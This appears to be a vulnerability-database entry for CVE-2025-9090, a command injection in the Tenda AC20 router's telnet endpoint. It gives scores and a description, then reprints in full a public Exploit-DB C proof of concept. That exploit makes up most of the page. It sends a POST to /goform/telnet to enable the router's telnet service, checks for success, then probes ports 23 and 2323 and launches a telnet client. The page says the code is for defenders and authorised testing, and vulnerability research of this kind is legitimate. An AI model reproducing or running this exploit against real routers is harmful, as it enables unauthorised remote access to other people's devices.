CVE-2025-9090

critical
Published 2025-08-17 ยท Modified 2026-04-29
CVSS v3
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
2.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
VIR risk
10.0

Description

A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service. The manipulation leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Predictions

Exploit likelihood
97%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-52418 remote multiple text ยท 18 KB
Byte Reaper ยท 2025-08-18

Tenda AC20 16.03.08.12 - Command Injection

text exploit Source: Exploit-DB
/*
 * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection
 * Author       : Byte Reaper
 * CVE          : CVE-2025-9090 
 * Description:  A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service.
 * target endpoint : /goform/telnet
 * place in service : http://<IP>
 * full format target url : http://<IP>/goform/telnet
 * Exploitation plan:
 * 1. Build full URL
 * 2. Prepare POST data (Sleep + full url + libcurl function)
 * 3. Send POST request via CURL
 * 4. Measure response: HTTP code, telnet access (23), error word (not found)
 * 5. Determine success & finalize exploit 
 */

#include <stdio.h>
#include "argparse.h"
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdint.h>
#include <unistd.h> 
#include <sys/wait.h>
#include <sys/socket.h>
#include <errno.h>
#define MAX_RESPONSE (50 * 1024 * 1024)
#define URL 2400
#define BUFFER 4500
const char *ipT = NULL;
const char *cookies = NULL;
int loopF = 0;
int verbose = 0;
int fileCookies = 0;
void exit64bit()
{
	fflush(NULL);
	__asm__ volatile 
	(
    "syscall\n\t"
    :
    : "A"(0x3C), 
      "D"(0)
    : "rcx", 
      "r11", 
      "memory"
    );
    fflush(NULL);
}

struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, 
    size_t size,
    size_t nmemb,
    void *userdata)
{
	if (!userdata) 
	{
		return 0;
	}
    if (size && nmemb > SIZE_MAX / size) 
    {
        fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n");
        return 0;
    }
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE) 
    {
        fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n");
        return 0;
    }
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exit64bit();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long.\e[0m\n");
        return 0;

    }
    return 0;
}

void cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l)
{
	
	printf("\e[0;33m[+] Clean Headers...\e[0m\n");
	if (h != NULL)
    {
       	curl_slist_free_all(h);
    }
    if (c != NULL)
    {
    	curl_easy_cleanup(c);
    }
    printf("\e[0;33m[+] Clean CURL...\e[0m\n");
    if (r != NULL)
    {	
    	free(r);
    	r = NULL;
    	l = 0;
    }
    printf("\e[0;33m[+] Clean response buffer and len...\e[0m\n");
    printf("\e[0;31m[+] Exit ....\n");
}
int sleepSocket()
{
	static int current = 2;
	int timeout = current;
	printf("\e[0;34m[+] Timeout Socket : %d\n", timeout);
	current++;
	if (current > 6)
	{
		current = 2;
	}
	return timeout;
}
int connectionTelnet(const char *ip)
{
	int ports[] = 
	{
		23, 
		2323
	};
	int num_ports = sizeof(ports) / sizeof(ports[0]);
	for (int i = 0; i < num_ports; i++)
	{
		printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]);
		printf("\e[0;36m[+] Try Connection in port : %d\e[0m\n", ports[i]);
		int s;
		char buffer[BUFFER];
		struct sockaddr_in server;
		s = socket(AF_INET, SOCK_STREAM, 0);
		if (s < 0)
		{
			perror("\e[0;31m[-] Error Create Socket !\e[0m\n");
			return -1;
		}
		server.sin_addr.s_addr = inet_addr(ip);
	    server.sin_family = AF_INET;
	    server.sin_port = htons(ports[i]);
	    struct timeval timeout;

	    int value3  = sleepSocket();
	    timeout.tv_sec = value3;
		timeout.tv_usec = 0;
	    if (setsockopt(s, 
	    	SOL_SOCKET, 
	    	SO_RCVTIMEO, 
	    	(const char*)&timeout, 
	    	sizeof(timeout)) < 0) 
	    {
	    	perror("\e[0;31m[-] setsockopt() Failed !\e[0m\n");
	    	exit64bit();
	    }
	    printf("\e[0;33m[+] Timeout Connection socket ...\e[0m\n");
	    
	    if (connect(s, 
	    	(struct sockaddr *)&server, 
	    	sizeof(server)) < 0) 
	    {
	    	perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n");
	    	close(s);
	    	continue;
	    }
	    printf("[+] Connection Success in server.\e[0m\n");
	    char banner[256];
		int n = recv(s, 
			banner, 
			sizeof(banner)-1, 
			0);
		if (n > 0) 
		{
		    banner[n] = '\0';
		    printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner);
		}

	    close(s);
	    if (verbose)
	    {
	    	printf("\e[0;33m[+] Close Socket...\e[0m\n");
	    }
	    return ports[i]; 
	}
    return -1;
}
int systemCommand(const char *ip)
{
	pid_t pid;
	printf("\e[0;37m[+] Before fork (PID : %d)\e[0m\n", getpid());
	pid = fork();
	if (pid < 0)
	{
		fprintf(stderr, "\e[0;31m[-] Fork failed !\e[0m\n");
		return 1;
	}
	else if (pid == 0)
	{
		int access[] = {23, 2323, 80};
		int numberAccess = sizeof(access) / sizeof(access[0]);
		for (int a = 0; a < numberAccess ; a++)
		{
			printf("\e[0;34m[+] child process (pid : %d)\e[0m\n", getpid());
			printf("\e[0;34m[+] sys_execve syscall...\e[0m\n");
			char ipS[90];

			int lenIp = snprintf(ipS, sizeof(ipS), "%s", ip);
			if (checkLen(lenIp,ipS,sizeof(ipS)) == 1)
			{
			    printf("\e[0;31m[-] Len Content (Target IP) is Long !\e[0m\n");
			    printf("\e[0;31m[-] Result Len (ip) : %d\e[0m\n", 
			    	lenIp);
			    exit64bit();
			}
			char portsA[40]; 
			int lenA = snprintf(portsA, sizeof(portsA), "%d", access[a]);
			if (checkLen(lenA,portsA,sizeof(portsA)) == 1)
			{
			    printf("\e[0;31m[-] Len Content (Target port) is Long !\e[0m\n");
			    printf("\e[0;31m[-] Result Len (port) : %d\e[0m\n", 
			    	lenA);
			    exit64bit();
			}
			const char *c = "/usr/bin/telnet";
	        char *const argv[] = 
	        	{
	        		"telnet", 
	        		ipS, 
	        		portsA,
	        		NULL
	        	};

	        const char *envp[] = {NULL};
			__asm__ volatile
			(
				"mov $59, %%rax\n\t"	
				"mov %[command], %%rdi\n\t"
				"mov %[v], %%rsi\n\t"
				"mov %[e], %%rdx\n\t"
				"syscall\n\t"
				:
				: [command] "r"(c),
				  [v] "r"(argv),
				  [e] "r" (envp)
				:"rax",
				 "rdi",
				 "rsi" ,
				 "rdx"
			);
			__asm__ volatile
			(
				"mov $0x3C, %%rax\n\t"
				"xor %%rdi, %%rdi\n\t"
				"syscall\n\t"
				:
				:
				:"rax",
				 "rdi"
			);
		}
		
	}
	else 
	{
		waitpid(pid, 
			NULL, 
			0);
    	printf("\e[0;36m[+] Child process finished.\e[0m\n");
	}
	return 0;
}
void endPoint(const char *ip)
{
	CURL *curl = curl_easy_init();
	struct Mem response ;
	response.buffer = NULL;
	response.len = 0;
	struct curl_slist *headers = NULL;
	if (response.buffer == NULL && response.len == 0)
	{
		if (verbose)
		{
			printf("\e[0;35m==============================\e[0m\n");
			printf("\e[0;34m[+] Clean Response...\e[0m\n");
			printf("\e[0;34m[+] Response buffer is NULL.\e[0m\n");
			printf("\e[0;34m[+] Response len is 0.\e[0m\n");
			printf("\e[0;34m[+] Clean Success.\e[0m\n"); 
			printf("\e[0;35m==============================\e[0m\n");
		}
	}
	else if (response.buffer != NULL && response.len != 0)
	{
		if (verbose)
		{
			printf("\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\e[0m\n");
			printf("\e[0;31m[-] Clean Failed.\e[0m\n"); 
		}
	}
	if (!curl)
	{
		printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
		exit64bit();
	}
	CURLcode code;
	if (curl)
	{
		char full[URL];
		int len = snprintf(full, URL, "http://%s/goform/telnet",ip);
		if (checkLen(len,full,URL) == 1)
		{
		    printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n");
		    printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len);
		    cleanObject(curl, 
					headers, 
					response.buffer, 
					response.len);
		    exit64bit();
		}
		printf("\e[0;34m[+] Write Success IP in FULL url.\n");
		printf("\e[0;32m[+] Len Full url : %d\n", len);
		printf("\e[0;37m[+] Target IP Address : %s\n", ip);
		printf("\e[0;37m[+] FULL URL : %s\n", full);
		if (verbose)
		{
			printf("\e[0;37m[+] Check Range IP ...\n");
		}
		struct in_addr inaddr;
		if (inet_aton(ip, &inaddr))
		{
			printf("\e[0;36m[+] The address '%s' is valid.\n", ip);

		}
		else 
		{
			printf("\e[0;31m[-] The address '%s' Not valid.\n", ip);
			cleanObject(curl, 
					headers, 
					response.buffer, 
					response.len);
			exit64bit();
		}
		curl_easy_setopt(curl,
                    CURLOPT_URL,
                    full);
	    if (fileCookies)
	    {
	        curl_easy_setopt(curl,
	                        CURLOPT_COOKIEFILE,
	                        cookies);
	        curl_easy_setopt(curl,
	                        CURLOPT_COOKIEJAR,
	                        cookies);
	    }
	    curl_easy_setopt(curl,
	                    CURLOPT_FOLLOWLOCATION,
	                    1L);

	    curl_easy_setopt(curl,
	                    CURLOPT_WRITEFUNCTION,
	                    write_cb);
	    curl_easy_setopt(curl,
	                    CURLOPT_WRITEDATA,
	                    &response);
	    curl_easy_setopt(curl,
	                    CURLOPT_CONNECTTIMEOUT,
	                    5L);
	    uint64_t raxValue;
		raxValue = 0xE6;
		if (verbose)
		{
			if (raxValue == 0xE6)
			{

				printf("\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\e[0m\n",(uint64_t)raxValue);
			}
			else 
			{
				printf("\e[0;31m[-] RAX Value Not (230): 0x%lX\e[0m\n",(uint64_t)raxValue);
				cleanObject(curl, 
					headers, 
					response.buffer, 
					response.len);
				exit64bit();
			}
		}
		struct timespec rqtp, rmtp;
    	rqtp.tv_sec  = 1;
   	 	rqtp.tv_nsec = 500000000; 
		register long reg_r10 asm("r10");
		reg_r10 = 0; 
    	printf("\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) && (%ld nanoseconds)...\e[0m\n", 
          	 rqtp.tv_sec, rqtp.tv_nsec);
    	int ret;      
   		__asm__ volatile 
   		(
		    "syscall"
		    : "=a"(ret)                               
		    : "a"(raxValue),                      
		      "D"((long)0),                        
		      "S"((long)0),                         
		      "d"(&rqtp),                             
		      "r"(reg_r10)                             
		    : "rcx", "r11", "memory"                   
		);
    	printf("\e[0;37m[+] Return Value sys_clock_nanosleep : %d\e[0m\n", ret);
    	if (ret == -1)
    	{
    		if (errno == EINTR) 
    		{
    			printf("\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\e[0m\n", 
    				rqtp.tv_sec,
    				rqtp.tv_nsec);
    		}
    		else 
    		{
    			perror("\e[0;31m[-] Error sys_clock_nanosleep !\e[0m\n");
    		}
    	}
    	else 
    	{
    		printf("\e[0;34m[+] SLeep Success.\e[0m\n");
    	}
    	curl_easy_setopt(curl,
                            CURLOPT_TIMEOUT,
                            10L);
        curl_easy_setopt(curl,
                        CURLOPT_SSL_VERIFYPEER,
                        0L);
        curl_easy_setopt(curl,
                        CURLOPT_SSL_VERIFYHOST,
                        0L);
        if (verbose)
        {
            printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                            CURLOPT_VERBOSE,
                            1L);
        }
        
        headers = curl_slist_append(headers,
                                    "Accept: text/html");
        headers = curl_slist_append(headers,
                                    "Accept-Encoding: gzip, deflate, br");
        headers = curl_slist_append(headers,
                                	"Accept-Language: en-US,en;q=0.5");
        curl_easy_setopt(curl, CURLOPT_POST, 1L);
		curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "");     
		curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L);  
        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
        code = curl_easy_perform(curl);
        	
        long http_code = 0;
        if (code == CURLE_OK)
        {
        	printf("\e[0;36m[+] Request sent successfully.\e[0m\n");
        	if (verbose)
        	{
        		printf("\e[0;35m=========================================================== [ response (1)] ===========================================================\e[0m\n");
                printf("\n%s\n", response.buffer);
                printf("\e[0;35m=======================================================================================================================================\e[0m\n");
        	}
        	curl_easy_getinfo(curl, 
            		CURLINFO_RESPONSE_CODE,
                    &http_code);
        	printf("\e[0;32m[+] Http Code : %ld\e[0m\n",
                        http_code);
        	if (http_code >= 200 && http_code < 300)
        	{
        		printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n");
        		printf("\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\e[0m\n");
                printf("\n%s\n", response.buffer);
                printf("\e[0;35m===============================================================================================================================================\e[0m\n");
                printf("\e[0;35m[+] Check response server...\e[0m\n");
                if (response.buffer)
                {
                	if (strstr(response.buffer, "load telnetd success") != NULL)
                	{
                		printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n");
                		printf("\e[0;36m[+] Injected successfully.\e[0m\n");
                	}
                }
        		printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n");
        		printf("\e[0;36m[+] Command : telnet %s %d\e[0m\n", ip, 23);
        		int value = connectionTelnet(ip);
        		printf("\e[0;35m[+] Result Connection : =============================\e[0m\n");
        		int useCommand = 0;
        		if (value == -1)
        		{
        			printf("\e[0;31m[-] CVE-2025-9090 Not detect !\n");
        			printf("\e[0;37m[+] Run Command System (telnet %s %d)\n", ip, 80);
        			useCommand++;
        			goto command;        		
        		}
        		else if (value != -1)
        		{
        			printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value);
        			printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\e[0m\n");
        		}
        		command:
        			if (useCommand  != 0)
        			{
        				int value2 = systemCommand(ip);
        				if (value2 == 1)
        				{
        					printf("\e[0;31m[-] Error Run command , Please Check ENV.\e[0m\n");
        				}
        				else if (value2 == 0)
        				{
        					printf("\e[0;34m	[+] Run command Success.\e[0m\n");
        				}
        			}

        		printf("\e[0;35m=====================================================\e[0m\n");

        	}
        	else 
        	{
        		printf("\e[0;31m[-] Http code Not range (200 - 300)!\e[0m\n");
        		printf("\e[0;35m[-] Check the reason for a negative response...\e[0m\n");
        		if (response.buffer)
        		{
        			response.buffer[response.len] = '\0';
        			if (strstr(response.buffer, "Not found") != NULL || 
        				strstr(response.buffer, "was not found on this server") != NULL)
	        		{
	        			printf("\e[0;31m[-] Word Found in Response (Not found)\e[0m\n");
	        			printf("\e[0;31m[-] Not found endpoint !\e[0m\n");
	        			printf("\e[0;31m[-] Please Check Download Service \"Tenda AC20\" And run.\e[0m\n");
	        		}
        		}
        		else 
        		{
        			printf("\e[0;31m[-] Response is NULL, Error Check response !\e[0m\n");
        		}
        		
        	}
        }
        else
        {
            fprintf(stderr, "\e[0;31m[-] The request was not sent !\e[0m\n");
            printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code));
            exit64bit();

        }
	}

}

int main(int argc, const char **argv)
{
	printf(
		"\e[1;31m"

		"	 โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–„ โ–ˆโ–ˆโ–’   โ–ˆโ–“โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ     \n"
		"	โ–’โ–ˆโ–ˆโ–€ โ–€โ–ˆโ–“โ–ˆโ–ˆโ–‘   โ–ˆโ–’โ–“โ–ˆ   โ–€     \n"
		"	โ–’โ–“โ–ˆ    โ–„โ–“โ–ˆโ–ˆ  โ–ˆโ–’โ–‘โ–’โ–ˆโ–ˆโ–ˆ       \n"
		"	โ–’โ–“โ–“โ–„ โ–„โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ โ–ˆโ–‘โ–‘โ–’โ–“โ–ˆ  โ–„     \n"
		"	โ–’ โ–“โ–ˆโ–ˆโ–ˆโ–€ โ–‘ โ–’โ–€โ–ˆโ–‘  โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–’   \e[1;32m2025-9090\n"
		"	โ–‘ โ–‘โ–’ โ–’  โ–‘ โ–‘ โ–โ–‘  โ–‘โ–‘ โ–’โ–‘ โ–‘    \n"
		"	  โ–‘  โ–’    โ–‘ โ–‘โ–‘   โ–‘ โ–‘  โ–‘    \n"
		"	โ–‘           โ–‘โ–‘     โ–‘       \n"
		"	โ–‘ โ–‘          โ–‘     โ–‘  โ–‘    \n"
		"	โ–‘           โ–‘              \n" 
			"\t  \e[1;31m [ Byte Reaper ] \e[0m\n"
	);
	printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n");   
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                   "ip",
                   &ipT,
                   "Enter Target IP"),
        OPT_STRING('c',
                   "cookies",
                   &cookies,
                   "Enter File cookies"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
        OPT_INTEGER('f', 
        	"loop", 
        	&loopF, 
        	"Number request (-f 4  = 4 request)"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (ipT == NULL)
    {
        printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n");
        printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i <IP> \e[0m\n");
        exit64bit();
    }
    if (cookies != NULL)
    {
        fileCookies = 1;
    }
    if (verbose)
    {
        verbose = 1;
    }
    if (loopF != 0)
    {

    	printf("\e[0;34m[+] Number Loop Request : %d\e[0m\n", loopF);
    	for (int n = 0; n <= loopF; n++)
    	{
    		printf("\e[1;35m[+] Another request: =============================================\e[0m\n");
    		endPoint(ipT);
    	}
    }
    endPoint(ipT);
    return 0;
}

References

CWEs

CWE-74 CWE-77

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.